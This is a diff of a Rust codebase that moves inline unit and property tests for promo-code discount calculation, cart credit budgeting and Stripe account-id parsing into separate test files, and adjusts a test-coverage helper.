| 136 | + | // | |
| 137 | + | // The sweep does the job on four axes this could not. Its budget counts | |
| 138 | + | // PRODUCTION lines — non-comment, non-blank lines above the file's inline test | |
| 139 | + | // module — so a file is not charged for being well tested, and a file that is | |
| 140 | + | // wholly test code (under `tests/` or `benches/`, or named `tests.rs`) carries | |
| 141 | + | // no budget at all. That rule, ruled by Max, is why none of the six files this | |
| 142 | + | // seal counted are violations: they are integration tests. The sweep also | |
| 143 | + | // covers the whole tree rather than one directory, so `src/` is guarded for the | |
| 144 | + | // first time; it reports per-file line counts rather than a count of files over | |
| 145 | + | // a threshold, so there is a gradient inside a violation; and its exemptions | |
| 146 | + | // are per-file with a written reason, so cleaning up one file is not an edit to | |
| 147 | + | // a shared constant that every parallel session collides on. | |
| 148 | + | // | |
| 149 | + | // Do not reinstate a line budget here. If a server module is too large, it | |
| 150 | + | // shows up in the sweep's `module-size` cell, and the remedy is a per-file | |
| 151 | + | // exemption with a reason or a split. | |
| 169 | 152 | ||
| 170 | 153 | /// Every test module states what surface it covers. A module with no `//!` header | |
| 171 | 154 | /// is one whose reason for existing lives only in whoever wrote it. |
| @@ -132,14 +132,23 @@ | |||
| 132 | 132 | text.contains("#[test]") || text.contains("#[tokio::test") || text.contains("#[sqlx::test") | |
| 133 | 133 | } | |
| 134 | 134 | ||
| 135 | - | /// Whether the file's own directory has a `tests.rs` covering it. | |
| 135 | + | /// Whether the file has a `tests.rs` covering it. | |
| 136 | 136 | /// | |
| 137 | - | /// `db/creator_tiers/` keeps its 25 tests in a sibling file, which is the only | |
| 138 | - | /// place in the crate that does. Without this, the seal would report three | |
| 139 | - | /// well-covered files as untested and the number would stop meaning anything. | |
| 137 | + | /// Two shapes count. A file inside a module directory is covered by that | |
| 138 | + | /// directory's `tests.rs`, which is how `db/creator_tiers/` keeps its 25 tests. | |
| 139 | + | /// A file that is itself a module, `db/promo_codes.rs`, is covered by | |
| 140 | + | /// `db/promo_codes/tests.rs`, the sibling form a `mod tests;` declaration | |
| 141 | + | /// points at. Without both, the seal would report well-covered files as | |
| 142 | + | /// untested and the number would stop meaning anything. | |
| 140 | 143 | fn sibling_tests_file(path: &Path) -> bool { | |
| 141 | - | path.parent() | |
| 142 | - | .is_some_and(|dir| dir.join("tests.rs").exists()) | |
| 144 | + | let in_own_dir = path | |
| 145 | + | .parent() | |
| 146 | + | .is_some_and(|dir| dir.join("tests.rs").exists()); | |
| 147 | + | let in_module_dir = path | |
| 148 | + | .file_stem() | |
| 149 | + | .zip(path.parent()) | |
| 150 | + | .is_some_and(|(stem, dir)| dir.join(stem).join("tests.rs").exists()); | |
| 151 | + | in_own_dir || in_module_dir | |
| 143 | 152 | } | |
| 144 | 153 | ||
| 145 | 154 | /// Every module named as the subject of a contract-test file under `tests/`. |
| @@ -994,490 +994,4 @@ | |||
| 994 | 994 | } | |
| 995 | 995 | ||
| 996 | 996 | #[cfg(test)] | |
| 997 | - | mod tests { | |
| 998 | - | use super::*; | |
| 999 | - | ||
| 1000 | - | #[test] | |
| 1001 | - | fn percentage_discount_50() { | |
| 1002 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 50), 500); | |
| 1003 | - | } | |
| 1004 | - | ||
| 1005 | - | #[test] | |
| 1006 | - | fn percentage_discount_100() { | |
| 1007 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 100), 0); | |
| 1008 | - | } | |
| 1009 | - | ||
| 1010 | - | #[test] | |
| 1011 | - | fn percentage_discount_10() { | |
| 1012 | - | // 999 * 10 / 100 = 99 (integer), 999 - 99 = 900 | |
| 1013 | - | assert_eq!(apply_discount(999, DiscountType::Percentage, 10), 900); | |
| 1014 | - | } | |
| 1015 | - | ||
| 1016 | - | #[test] | |
| 1017 | - | fn fixed_discount() { | |
| 1018 | - | assert_eq!(apply_discount(1000, DiscountType::Fixed, 300), 700); | |
| 1019 | - | } | |
| 1020 | - | ||
| 1021 | - | #[test] | |
| 1022 | - | fn fixed_discount_exceeds_price() { | |
| 1023 | - | assert_eq!(apply_discount(100, DiscountType::Fixed, 500), 0); | |
| 1024 | - | } | |
| 1025 | - | ||
| 1026 | - | // Percentage discount edge cases | |
| 1027 | - | ||
| 1028 | - | #[test] | |
| 1029 | - | fn percentage_discount_0() { | |
| 1030 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 0), 1000); | |
| 1031 | - | } | |
| 1032 | - | ||
| 1033 | - | #[test] | |
| 1034 | - | fn percentage_discount_over_100() { | |
| 1035 | - | // 150% discount should clamp to 0 | |
| 1036 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 150), 0); | |
| 1037 | - | } | |
| 1038 | - | ||
| 1039 | - | #[test] | |
| 1040 | - | fn percentage_discount_1_percent() { | |
| 1041 | - | // 1000 * 1 / 100 = 10, result = 990 | |
| 1042 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 1), 990); | |
| 1043 | - | } | |
| 1044 | - | ||
| 1045 | - | #[test] | |
| 1046 | - | fn percentage_discount_99_percent() { | |
| 1047 | - | // 1000 * 99 / 100 = 990, result = 10 | |
| 1048 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, 99), 10); | |
| 1049 | - | } | |
| 1050 | - | ||
| 1051 | - | #[test] | |
| 1052 | - | fn percentage_discount_rounding() { | |
| 1053 | - | // 1 cent * 50 / 100 = 0 (integer division), result = 1 | |
| 1054 | - | assert_eq!(apply_discount(1, DiscountType::Percentage, 50), 1); | |
| 1055 | - | // 3 * 33 / 100 = 0 (integer), result = 3 | |
| 1056 | - | assert_eq!(apply_discount(3, DiscountType::Percentage, 33), 3); | |
| 1057 | - | // 199 * 50 / 100 = 99, result = 100 | |
| 1058 | - | assert_eq!(apply_discount(199, DiscountType::Percentage, 50), 100); | |
| 1059 | - | } | |
| 1060 | - | ||
| 1061 | - | // Fixed discount edge cases | |
| 1062 | - | ||
| 1063 | - | #[test] | |
| 1064 | - | fn fixed_discount_exact_price() { | |
| 1065 | - | assert_eq!(apply_discount(500, DiscountType::Fixed, 500), 0); | |
| 1066 | - | } | |
| 1067 | - | ||
| 1068 | - | #[test] | |
| 1069 | - | fn fixed_discount_zero_value() { | |
| 1070 | - | assert_eq!(apply_discount(1000, DiscountType::Fixed, 0), 1000); | |
| 1071 | - | } | |
| 1072 | - | ||
| 1073 | - | #[test] | |
| 1074 | - | fn fixed_discount_one_cent() { | |
| 1075 | - | assert_eq!(apply_discount(1000, DiscountType::Fixed, 1), 999); | |
| 1076 | - | } | |
| 1077 | - | ||
| 1078 | - | // Zero price | |
| 1079 | - | ||
| 1080 | - | #[test] | |
| 1081 | - | fn zero_price_percentage() { | |
| 1082 | - | assert_eq!(apply_discount(0, DiscountType::Percentage, 50), 0); | |
| 1083 | - | } | |
| 1084 | - | ||
| 1085 | - | #[test] | |
| 1086 | - | fn zero_price_fixed() { | |
| 1087 | - | assert_eq!(apply_discount(0, DiscountType::Fixed, 100), 0); | |
| 1088 | - | } | |
| 1089 | - | ||
| 1090 | - | // Negative values (defensive) | |
| 1091 | - | ||
| 1092 | - | #[test] | |
| 1093 | - | fn negative_discount_value_percentage() { | |
| 1094 | - | // Negative discount values are clamped to 0, so price is unchanged | |
| 1095 | - | assert_eq!(apply_discount(1000, DiscountType::Percentage, -50), 1000); | |
| 1096 | - | } | |
| 1097 | - | ||
| 1098 | - | #[test] | |
| 1099 | - | fn negative_discount_value_fixed() { | |
| 1100 | - | // Negative discount values are clamped to 0, so price is unchanged | |
| 1101 | - | assert_eq!(apply_discount(1000, DiscountType::Fixed, -500), 1000); | |
| 1102 | - | } | |
| 1103 | - | ||
| 1104 | - | #[test] | |
| 1105 | - | fn negative_price_percentage() { | |
| 1106 | - | // Negative price with percentage discount, documents current behavior | |
| 1107 | - | // -1000 * 50 / 100 = -500, -1000 - (-500) = -500, max(0) = 0 | |
| 1108 | - | assert_eq!(apply_discount(-1000, DiscountType::Percentage, 50), 0); | |
| 1109 | - | } | |
| 1110 | - | ||
| 1111 | - | #[test] | |
| 1112 | - | fn negative_price_fixed() { | |
| 1113 | - | // -1000 - 500 = -1500, max(0) = 0 | |
| 1114 | - | assert_eq!(apply_discount(-1000, DiscountType::Fixed, 500), 0); | |
| 1115 | - | } | |
| 1116 | - | ||
| 1117 | - | // Large values (overflow safety) | |
| 1118 | - | ||
| 1119 | - | #[test] | |
| 1120 | - | fn large_price_percentage_no_overflow() { | |
| 1121 | - | // The function uses i64 intermediate to avoid overflow | |
| 1122 | - | // i32::MAX = 2_147_483_647; 50% of that | |
| 1123 | - | let price = i32::MAX; | |
| 1124 | - | let result = apply_discount(price, DiscountType::Percentage, 50); | |
| 1125 | - | assert_eq!(result, 1_073_741_824); // (MAX - MAX*50/100) | |
| 1126 | - | } | |
| 1127 | - | ||
| 1128 | - | // ── Adversarial (test-fuzz) ── | |
| 1129 | - | ||
| 1130 | - | #[test] | |
| 1131 | - | fn adversarial_percentage_max_price_max_percentage() { | |
| 1132 | - | // i32::MAX price with 100% discount | |
| 1133 | - | let result = apply_discount(i32::MAX, DiscountType::Percentage, 100); | |
| 1134 | - | assert_eq!(result, 0, "100% discount on any price should be 0"); | |
| 1135 | - | } | |
| 1136 | - | ||
| 1137 | - | #[test] | |
| 1138 | - | fn adversarial_percentage_max_price_99_percent() { | |
| 1139 | - | let result = apply_discount(i32::MAX, DiscountType::Percentage, 99); | |
| 1140 | - | // i32::MAX * 99 / 100 via i64 = 2_125_999_810, remainder = 21_483_837 | |
| 1141 | - | // Exact: 2_147_483_647 * 99 = 212_600_881_053 / 100 = 2_126_008_810 | |
| 1142 | - | // 2_147_483_647 - 2_126_008_810 = 21_474_837 | |
| 1143 | - | assert_eq!(result, 21_474_837); | |
| 1144 | - | assert!(result > 0, "99% discount should leave some remaining"); | |
| 1145 | - | } | |
| 1146 | - | ||
| 1147 | - | #[test] | |
| 1148 | - | fn adversarial_fixed_max_price_max_discount() { | |
| 1149 | - | let result = apply_discount(i32::MAX, DiscountType::Fixed, i32::MAX); | |
| 1150 | - | assert_eq!(result, 0); | |
| 1151 | - | } | |
| 1152 | - | ||
| 1153 | - | #[test] | |
| 1154 | - | fn adversarial_both_negative() { | |
| 1155 | - | // Both negative price and negative discount | |
| 1156 | - | let result = apply_discount(-100, DiscountType::Fixed, -100); | |
| 1157 | - | // -100 - (-100) = 0 | |
| 1158 | - | assert_eq!(result, 0); | |
| 1159 | - | } | |
| 1160 | - | ||
| 1161 | - | #[test] | |
| 1162 | - | fn adversarial_percentage_discount_exactly_50_odd_price() { | |
| 1163 | - | // Rounding: 1 cent * 50% = 0 (integer division), so result = 1 | |
| 1164 | - | assert_eq!(apply_discount(1, DiscountType::Percentage, 50), 1); | |
| 1165 | - | // 3 cents * 50% = 1 (via i64: 3*50/100=1), result = 2 | |
| 1166 | - | assert_eq!(apply_discount(3, DiscountType::Percentage, 50), 2); | |
| 1167 | - | } | |
| 1168 | - | ||
| 1169 | - | #[test] | |
| 1170 | - | fn adversarial_apply_discount_invariant() { | |
| 1171 | - | // For any valid (positive) price and percentage 0-100, | |
| 1172 | - | // result should be in [0, price] | |
| 1173 | - | for price in [1, 50, 100, 999, 10000, 1_000_000] { | |
| 1174 | - | for pct in [0, 1, 10, 25, 33, 50, 75, 99, 100] { | |
| 1175 | - | let result = apply_discount(price, DiscountType::Percentage, pct); | |
| 1176 | - | assert!( | |
| 1177 | - | result >= 0 && result <= price, | |
| 1178 | - | "Invariant violated: price={price}, pct={pct}, result={result}" | |
| 1179 | - | ); | |
| 1180 | - | } | |
| 1181 | - | } | |
| 1182 | - | } | |
| 1183 | - | ||
| 1184 | - | #[test] | |
| 1185 | - | fn adversarial_fixed_discount_invariant() { | |
| 1186 | - | // For any positive price and positive discount, result should be in [0, price] | |
| 1187 | - | for price in [1, 50, 100, 999, 10000] { | |
| 1188 | - | for discount in [0, 1, 50, 100, 999, 10000, 999_999] { | |
| 1189 | - | let result = apply_discount(price, DiscountType::Fixed, discount); | |
| 1190 | - | assert!( | |
| 1191 | - | result >= 0 && result <= price, | |
| 1192 | - | "Invariant violated: price={price}, discount={discount}, result={result}" | |
| 1193 | - | ); | |
| 1194 | - | } | |
| 1195 | - | } | |
| 1196 | - | } | |
| 1197 | - | ||
| 1198 | - | // ── Property-based tests (proptest) ── | |
| 1199 | - | ||
| 1200 | - | proptest::proptest! { | |
| 1201 | - | #[test] | |
| 1202 | - | fn prop_percentage_discount_in_range(price in 0..=1_000_000i32, pct in 0..=100i32) { | |
| 1203 | - | let result = apply_discount(price, DiscountType::Percentage, pct); | |
| 1204 | - | proptest::prop_assert!(result >= 0, "Result {} should be >= 0", result); | |
| 1205 | - | proptest::prop_assert!(result <= price, "Result {} should be <= price {}", result, price); | |
| 1206 | - | } | |
| 1207 | - | ||
| 1208 | - | #[test] | |
| 1209 | - | fn prop_fixed_discount_in_range(price in 0..=1_000_000i32, discount in 0..=1_000_000i32) { | |
| 1210 | - | let result = apply_discount(price, DiscountType::Fixed, discount); | |
| 1211 | - | proptest::prop_assert!(result >= 0, "Result {} should be >= 0", result); | |
| 1212 | - | proptest::prop_assert!(result <= price, "Result {} should be <= price {}", result, price); | |
| 1213 | - | } | |
| 1214 | - | ||
| 1215 | - | #[test] | |
| 1216 | - | fn prop_100_percent_discount_is_zero(price in 0..=1_000_000i32) { | |
| 1217 | - | proptest::prop_assert_eq!(apply_discount(price, DiscountType::Percentage, 100), 0); | |
| 1218 | - | } | |
| 1219 | - | ||
| 1220 | - | #[test] | |
| 1221 | - | fn prop_0_percent_discount_is_identity(price in 0..=1_000_000i32) { | |
| 1222 | - | proptest::prop_assert_eq!(apply_discount(price, DiscountType::Percentage, 0), price); | |
| 1223 | - | } | |
| 1224 | - | } | |
| 1225 | - | ||
| 1226 | - | // ── Metamorphic: applying a discount and removing it again ─────────────── | |
| 1227 | - | // | |
| 1228 | - | // Wiki `testing-posture`, phase 2. A metamorphic relation states how two | |
| 1229 | - | // runs relate rather than what either returns, so it needs no table of | |
| 1230 | - | // expected values and nothing has to be recomputed by hand when a price | |
| 1231 | - | // changes. See Chen et al. 1998. | |
| 1232 | - | // | |
| 1233 | - | // The relation asked for was "apply then remove is the identity". It is, | |
| 1234 | - | // for Fixed, and it is not for Percentage, because integer cents rounding | |
| 1235 | - | // is not invertible. What replaces it is not a tolerance: the loss is an | |
| 1236 | - | // exact quantity and the tests below pin it as one. | |
| 1237 | - | ||
| 1238 | - | proptest::proptest! { | |
| 1239 | - | /// Fixed is invertible wherever it does not clamp: the discount is a | |
| 1240 | - | /// subtraction, and adding it back is the inverse of subtracting it. | |
| 1241 | - | #[test] | |
| 1242 | - | fn prop_removing_a_fixed_discount_restores_the_price_exactly( | |
| 1243 | - | price in 0..=1_000_000i32, | |
| 1244 | - | discount in 0..=1_000_000i32, | |
| 1245 | - | ) { | |
| 1246 | - | proptest::prop_assume!(discount <= price); | |
| 1247 | - | let discounted = apply_discount(price, DiscountType::Fixed, discount); | |
| 1248 | - | proptest::prop_assert_eq!(discounted + discount, price); | |
| 1249 | - | } | |
| 1250 | - | ||
| 1251 | - | /// Above the price it is not invertible, and that is the intended | |
| 1252 | - | /// behaviour rather than a gap: the clamp to zero is what stops a | |
| 1253 | - | /// generous coupon paying the buyer. Every price at or below the | |
| 1254 | - | /// discount collapses to the same 0, so no inverse can tell them apart. | |
| 1255 | - | #[test] | |
| 1256 | - | fn prop_a_fixed_discount_over_the_price_destroys_it( | |
| 1257 | - | price in 0..=1_000_000i32, | |
| 1258 | - | excess in 0..=1_000_000i32, | |
| 1259 | - | ) { | |
| 1260 | - | let discount = price.saturating_add(excess); | |
| 1261 | - | proptest::prop_assert_eq!(apply_discount(price, DiscountType::Fixed, discount), 0); | |
| 1262 | - | } | |
| 1263 | - | ||
| 1264 | - | /// What a percentage discount loses, stated exactly. | |
| 1265 | - | /// | |
| 1266 | - | /// `apply_discount` computes `price - (price * pct) / 100` with integer | |
| 1267 | - | /// division, so writing `price * pct = 100q + r` with `0 <= r < 100` | |
| 1268 | - | /// gives `discounted * 100 = price * (100 - pct) + r`. The remainder `r` | |
| 1269 | - | /// is the whole of the round-trip loss and it is bounded by 100 | |
| 1270 | - | /// regardless of how large the price is. | |
| 1271 | - | /// | |
| 1272 | - | /// That identity is the tolerance the task asked to have pinned, and it | |
| 1273 | - | /// is worth having as an equation rather than an epsilon: the error does | |
| 1274 | - | /// not grow with the price, so a $10,000 sale is no less recoverable | |
| 1275 | - | /// than a $1 one. | |
| 1276 | - | #[test] | |
| 1277 | - | fn prop_a_percentage_discount_loses_exactly_the_rounding_remainder( | |
| 1278 | - | price in 0..=1_000_000i32, | |
| 1279 | - | pct in 0..=100i32, | |
| 1280 | - | ) { | |
| 1281 | - | let discounted = apply_discount(price, DiscountType::Percentage, pct); | |
| 1282 | - | let remainder = i64::from(discounted) * 100 - i64::from(price) * i64::from(100 - pct); | |
| 1283 | - | proptest::prop_assert!( | |
| 1284 | - | (0..100).contains(&remainder), | |
| 1285 | - | "price={} pct={} discounted={} left remainder {}, outside [0, 100)", | |
| 1286 | - | price, pct, discounted, remainder, | |
| 1287 | - | ); | |
| 1288 | - | proptest::prop_assert_eq!( | |
| 1289 | - | remainder, | |
| 1290 | - | (i64::from(price) * i64::from(pct)) % 100, | |
| 1291 | - | "the remainder is not the one integer division dropped", | |
| 1292 | - | ); | |
| 1293 | - | } | |
| 1294 | - | ||
| 1295 | - | /// So removal is exact exactly when nothing was dropped, which is when | |
| 1296 | - | /// 100 divides `price * pct`. Constructing such a price is the point: | |
| 1297 | - | /// this is the half of the original relation that does survive. | |
| 1298 | - | #[test] | |
| 1299 | - | fn prop_removing_a_percentage_discount_is_exact_when_it_divides_evenly( | |
| 1300 | - | hundreds in 0..=10_000i32, | |
| 1301 | - | pct in 0..=99i32, | |
| 1302 | - | ) { | |
| 1303 | - | let price = hundreds * 100; | |
| 1304 | - | let discounted = apply_discount(price, DiscountType::Percentage, pct); | |
| 1305 | - | // No remainder, so the inverse is the plain rational one. | |
| 1306 | - | proptest::prop_assert_eq!( | |
| 1307 | - | i64::from(discounted) * 100 / i64::from(100 - pct), | |
| 1308 | - | i64::from(price), | |
| 1309 | - | ); | |
| 1310 | - | } | |
| 1311 | - | } | |
| 1312 | - | ||
| 1313 | - | /// The one case where the relation cannot hold however the price is chosen. | |
| 1314 | - | /// A full discount maps every price to 0, so removal has nothing to work | |
| 1315 | - | /// from. Worth a named test rather than an `prop_assume!` that quietly skips | |
| 1316 | - | /// it, since "free" is a real configuration and not an edge. | |
| 1317 | - | #[test] | |
| 1318 | - | fn removing_a_full_discount_is_impossible_by_construction() { | |
| 1319 | - | for price in [0, 1, 99, 100, 101, 999, 1_000_000] { | |
| 1320 | - | assert_eq!(apply_discount(price, DiscountType::Percentage, 100), 0); | |
| 1321 | - | } | |
| 1322 | - | } | |
| 1323 | - | ||
| 1324 | - | // Cart promo semantics: one redemption = one use (ultra-fuzz Run 10 Pay S1) | |
| 1325 | - | ||
| 1326 | - | /// Build a percentage-discount promo with no scope/min-price gating. | |
| 1327 | - | fn unscoped_discount_promo(max_uses: Option<i32>) -> ValidatedPromo { | |
| 1328 | - | ValidatedPromo { | |
| 1329 | - | code: DbPromoCode { | |
| 1330 | - | id: PromoCodeId::new(), | |
| 1331 | - | creator_id: UserId::new(), | |
| 1332 | - | code: "SAVE10".to_string(), | |
| 1333 | - | code_purpose: CodePurpose::Discount, | |
| 1334 | - | discount_type: Some(DiscountType::Percentage), | |
| 1335 | - | discount_value: Some(10), | |
| 1336 | - | min_price_cents: 0, | |
| 1337 | - | trial_days: None, | |
| 1338 | - | item_id: None, | |
| 1339 | - | project_id: None, | |
| 1340 | - | tier_id: None, | |
| 1341 | - | max_uses, | |
| 1342 | - | use_count: 0, | |
| 1343 | - | expires_at: None, | |
| 1344 | - | starts_at: None, | |
| 1345 | - | created_at: chrono::Utc::now(), | |
| 1346 | - | is_platform_wide: false, | |
| 1347 | - | }, | |
| 1348 | - | is_platform_wide: false, | |
| 1349 | - | } | |
| 1350 | - | } | |
| 1351 | - | ||
| 1352 | - | #[test] | |
| 1353 | - | fn single_use_code_discounts_every_eligible_cart_line() { | |
| 1354 | - | // A max_uses=1 code applied across a multi-item cart discounts EVERY | |
| 1355 | - | // eligible line. This is intentional: the handler reserves exactly one | |
| 1356 | - | // use per cart checkout (one redemption = one use), so the per-line | |
| 1357 | - | // discounting below is not a use-count leak. Pin it so a future change | |
| 1358 | - | // can't silently turn cart promos into per-line reservation. | |
| 1359 | - | let promo = unscoped_discount_promo(Some(1)); | |
| 1360 | - | for base in [1000, 2000, 4999] { | |
| 1361 | - | let result = | |
| 1362 | - | apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), base).unwrap(); | |
| 1363 | - | let PromoApplication::Apply(applied) = result else { | |
| 1364 | - | panic!("expected Apply for an eligible cart line at base {base}"); | |
| 1365 | - | }; | |
| 1366 | - | assert_eq!(applied.price_cents, base - base / 10); | |
| 1367 | - | // A seller-scoped code is creator-funded, no platform reimbursement. | |
| 1368 | - | assert_eq!(applied.funding, DiscountFunding::CreatorFunded); | |
| 1369 | - | } | |
| 1370 | - | // apply_promo_to_item never touches use_count; reservation is the | |
| 1371 | - | // handler's once-per-checkout concern. | |
| 1372 | - | assert_eq!(promo.code.use_count, 0); | |
| 1373 | - | } | |
| 1374 | - | ||
| 1375 | - | // Platform credit is a spend-once balance (ultra-fuzz Run 13 Payments) | |
| 1376 | - | ||
| 1377 | - | /// Build a platform-wide fixed credit (the $5 Fan+ renewal credit shape). | |
| 1378 | - | fn platform_fixed_credit(cents: i32) -> ValidatedPromo { | |
| 1379 | - | ValidatedPromo { | |
| 1380 | - | code: DbPromoCode { | |
| 1381 | - | id: PromoCodeId::new(), | |
| 1382 | - | creator_id: UserId::new(), | |
| 1383 | - | code: "FANPLUS".to_string(), | |
| 1384 | - | code_purpose: CodePurpose::Discount, | |
| 1385 | - | discount_type: Some(DiscountType::Fixed), | |
| 1386 | - | discount_value: Some(cents), | |
| 1387 | - | min_price_cents: 0, | |
| 1388 | - | trial_days: None, | |
| 1389 | - | item_id: None, | |
| 1390 | - | project_id: None, | |
| 1391 | - | tier_id: None, | |
| 1392 | - | max_uses: None, | |
| 1393 | - | use_count: 0, | |
| 1394 | - | expires_at: None, | |
| 1395 | - | starts_at: None, | |
| 1396 | - | created_at: chrono::Utc::now(), | |
| 1397 | - | is_platform_wide: true, | |
| 1398 | - | }, | |
| 1399 | - | is_platform_wide: true, | |
| 1400 | - | } | |
| 1401 | - | } | |
| 1402 | - | ||
| 1403 | - | #[test] | |
| 1404 | - | fn platform_fixed_credit_budget_is_face_value() { | |
| 1405 | - | assert_eq!( | |
| 1406 | - | platform_fixed_credit(500).platform_credit_budget_cents(), | |
| 1407 | - | Some(500) | |
| 1408 | - | ); | |
| 1409 | - | } | |
| 1410 | - | ||
| 1411 | - | #[test] | |
| 1412 | - | fn seller_and_percentage_codes_have_no_credit_budget() { | |
| 1413 | - | // Seller-funded code: credit is always 0, no balance to cap. | |
| 1414 | - | assert_eq!( | |
| 1415 | - | unscoped_discount_promo(None).platform_credit_budget_cents(), | |
| 1416 | - | None | |
| 1417 | - | ); | |
| 1418 | - | // Platform-wide *percentage*: an intentional platform-funded sale that | |
| 1419 | - | // legitimately applies to every line, not a spend-once balance. | |
| 1420 | - | let mut pct = platform_fixed_credit(500); | |
| 1421 | - | pct.code.discount_type = Some(DiscountType::Percentage); | |
| 1422 | - | pct.code.discount_value = Some(20); | |
| 1423 | - | assert_eq!(pct.platform_credit_budget_cents(), None); | |
| 1424 | - | } | |
| 1425 | - | ||
| 1426 | - | #[test] | |
| 1427 | - | fn platform_fixed_credit_spent_once_across_cart() { | |
| 1428 | - | // The $5 (500¢) Fan+ credit across three $10 (1000¢) lines must discount | |
| 1429 | - | // the buyer and reimburse the seller a total of exactly 500¢, once, not | |
| 1430 | - | // 500¢ per line (Run 13 SERIOUS: cart platform-credit multiplication). | |
| 1431 | - | let promo = platform_fixed_credit(500); | |
| 1432 | - | let mut budget = promo.platform_credit_budget_cents(); | |
| 1433 | - | assert_eq!(budget, Some(500)); | |
| 1434 | - | ||
| 1435 | - | let mut total_credit = 0i64; | |
| 1436 | - | let mut total_buyer_paid = 0i64; | |
| 1437 | - | for _ in 0..3 { | |
| 1438 | - | let PromoApplication::Apply(applied) = | |
| 1439 | - | apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), 1000).unwrap() | |
| 1440 | - | else { | |
| 1441 | - | panic!("expected Apply for an eligible platform-credit line"); | |
| 1442 | - | }; | |
| 1443 | - | let (final_price, credit) = cap_line_to_credit_budget(applied, &mut budget); | |
| 1444 | - | total_credit += credit; | |
| 1445 | - | total_buyer_paid += i64::from(final_price); | |
| 1446 | - | } | |
| 1447 | - | assert_eq!( | |
| 1448 | - | total_credit, 500, | |
| 1449 | - | "MNW reimburses the seller exactly the face value, once" | |
| 1450 | - | ); | |
| 1451 | - | assert_eq!( | |
| 1452 | - | total_buyer_paid, | |
| 1453 | - | 3000 - 500, | |
| 1454 | - | "buyer gets the $5 credit exactly once" | |
| 1455 | - | ); | |
| 1456 | - | assert_eq!(budget, Some(0), "balance fully spent"); | |
| 1457 | - | } | |
| 1458 | - | ||
| 1459 | - | #[test] | |
| 1460 | - | fn platform_fixed_credit_carries_balance_across_cheap_lines() { | |
| 1461 | - | // A $5 credit on two $1 (100¢) items spends 100 then 100 (the balance | |
| 1462 | - | // carries instead of burning the whole $5 on the first line); 300¢ remain. | |
| 1463 | - | let promo = platform_fixed_credit(500); | |
| 1464 | - | let mut budget = promo.platform_credit_budget_cents(); | |
| 1465 | - | let mut total_credit = 0i64; | |
| 1466 | - | for _ in 0..2 { | |
| 1467 | - | let PromoApplication::Apply(applied) = | |
| 1468 | - | apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), 100).unwrap() | |
| 1469 | - | else { | |
| 1470 | - | panic!("expected Apply"); | |
| 1471 | - | }; | |
| 1472 | - | let (final_price, credit) = cap_line_to_credit_budget(applied, &mut budget); | |
| 1473 | - | assert_eq!(final_price, 0, "a $1 item is fully covered by the credit"); | |
| 1474 | - | total_credit += credit; | |
| 1475 | - | } | |
| 1476 | - | assert_eq!(total_credit, 200); | |
| 1477 | - | assert_eq!( | |
| 1478 | - | budget, | |
| 1479 | - | Some(300), | |
| 1480 | - | "unspent balance carries to the rest of the cart" | |
| 1481 | - | ); | |
| 1482 | - | } | |
| 1483 | - | } | |
| 997 | + | mod tests; |
| @@ -1296,88 +1296,4 @@ | |||
| 1296 | 1296 | } | |
| 1297 | 1297 | ||
| 1298 | 1298 | #[cfg(test)] | |
| 1299 | - | mod tests { | |
| 1300 | - | //! Stripe id parsing at the boundary between our database and Stripe's API. | |
| 1301 | - | //! These ids come out of our own rows, so a parse failure means our data is | |
| 1302 | - | //! wrong, and the classification matters: `Internal` pages us, `BadRequest` | |
| 1303 | - | //! would blame the creator for our own corrupted column. | |
| 1304 | - | ||
| 1305 | - | use super::*; | |
| 1306 | - | ||
| 1307 | - | #[test] | |
| 1308 | - | fn account_id_parsing_rejects_nothing_at_all() { | |
| 1309 | - | // Same dead guard as `parse_subscription_id`. `stripe_shared::AccountId` | |
| 1310 | - | // derives `FromStr` with `type Err = Infallible`, so every value parses | |
| 1311 | - | // and the `Invalid Stripe account ID` branch cannot be reached. The doc | |
| 1312 | - | // comment above reasons carefully about classifying the failure as | |
| 1313 | - | // `Internal` rather than `BadRequest`; there is no failure to classify. | |
| 1314 | - | // | |
| 1315 | - | // The consequence is not academic: an empty `users.stripe_account_id` | |
| 1316 | - | // becomes an empty connected-account header on a live charge instead of | |
| 1317 | - | // an error we can see. | |
| 1318 | - | assert!(StripeClient::parse_account_id("acct_1A2b3C4d5E6f7G8h").is_ok()); | |
| 1319 | - | for anything in ["", "cus_123", "not an id", "acct_"] { | |
| 1320 | - | assert!( | |
| 1321 | - | StripeClient::parse_account_id(anything).is_ok(), | |
| 1322 | - | "{anything:?} parses today; if this now fails, the guard became real \ | |
| 1323 | - | and the test should assert the new contract" | |
| 1324 | - | ); | |
| 1325 | - | } | |
| 1326 | - | } | |
| 1327 | - | ||
| 1328 | - | // ── sum_in_currency, the filter behind `get_balance` ── | |
| 1329 | - | ||
| 1330 | - | use crate::currency::SettlementCurrency; | |
| 1331 | - | ||
| 1332 | - | /// The entries a connected account holding three currencies would carry. | |
| 1333 | - | fn mixed() -> Vec<(stripe_types::Currency, i64)> { | |
| 1334 | - | vec![ | |
| 1335 | - | (SettlementCurrency::Usd.to_stripe(), 1_000), | |
| 1336 | - | (SettlementCurrency::Gbp.to_stripe(), 2_500), | |
| 1337 | - | (SettlementCurrency::Usd.to_stripe(), 250), | |
| 1338 | - | (SettlementCurrency::Eur.to_stripe(), 9_999), | |
| 1339 | - | ] | |
| 1340 | - | } | |
| 1341 | - | ||
| 1342 | - | #[test] | |
| 1343 | - | fn sums_every_entry_in_the_wanted_currency() { | |
| 1344 | - | let entries = mixed(); | |
| 1345 | - | let total = sum_in_currency( | |
| 1346 | - | entries.iter().map(|(c, a)| (c, *a)), | |
| 1347 | - | &SettlementCurrency::Usd.to_stripe(), | |
| 1348 | - | ); | |
| 1349 | - | assert_eq!(total, 1_250, "both USD entries, and only those"); | |
| 1350 | - | } | |
| 1351 | - | ||
| 1352 | - | #[test] | |
| 1353 | - | fn ignores_every_entry_in_another_currency() { | |
| 1354 | - | let entries = mixed(); | |
| 1355 | - | for currency in SettlementCurrency::ALL { | |
| 1356 | - | let total = | |
| 1357 | - | sum_in_currency(entries.iter().map(|(c, a)| (c, *a)), ¤cy.to_stripe()); | |
| 1358 | - | let expected = match currency { | |
